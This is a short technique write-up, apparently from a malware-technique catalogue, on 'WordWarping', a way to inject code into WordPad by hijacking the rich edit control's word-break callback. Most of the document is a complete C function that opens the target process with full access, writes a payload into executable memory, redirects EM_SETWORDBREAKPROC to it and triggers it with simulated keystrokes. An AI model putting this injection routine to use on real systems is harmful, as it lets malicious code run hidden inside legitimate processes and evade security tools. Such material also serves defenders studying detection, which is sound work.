
WordWarping
Edit controls (including Rich Edit) are very common Windows controls present in most applications. They are either embedded directly, or as subclassed windows. When they display text in multiline mode they use so-called EditWordBreakProc callback function.
Anytime the control needs to do something related to word wrapping the procedure will be called.
One can modify this function for any window by sending EM_SETWORDBREAKPROC message to it. If windows is an Edit control or its descendant, funny things may happen.
A word wrapper callback function for an edit or rich edit control can be set using the EM_SETWORDBREAKPROC message.
Simulating keyboard input via the SendInput or PostMessage APIs can trigger execution of the callback function.
Code Snippets
VOID wordwarping(LPVOID payload, DWORD payloadSize) {
HANDLE hp;
DWORD id;
HWND wpw, rew;
LPVOID cs, wwf;
SIZE_T rd, wr;
INPUT ip;
// 1. Get main window for wordpad.
// This will accept simulated keyboard input.
wpw = FindWindow(L"WordPadClass", NULL);
// 2. Find the rich edit control for wordpad.
rew = FindWindowEx(wpw, NULL, L"RICHEDIT50W", NULL);
// 3. Try get current address of Wordwrap function
wwf = (LPVOID)SendMessage(rew, EM_GETWORDBREAKPROC, 0, 0);
// 4. Obtain the process id for wordpad.
GetWindowThreadProcessId(rew, &id);
// 5. Try open the process.
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 6. Allocate RWX memory for the payload.
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 7. Write the payload to memory
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 8. Update the callback procedure
SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)cs);
// 9. Simulate keyboard input to trigger payload
ip.type = INPUT_KEYBOARD;
ip.ki.wVk = 'A';
ip.ki.wScan = 0;
ip.ki.dwFlags = 0;
ip.ki.time = 0;
ip.ki.dwExtraInfo = 0;
SetForegroundWindow(rew);
SendInput(1, &ip, sizeof(ip));
// 10. Restore original Wordwrap function (if any)
SendMessage(rew, EM_SETWORDBREAKPROC, 0, (LPARAM)wwf);
// 11. Free memory and close process handle
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);
}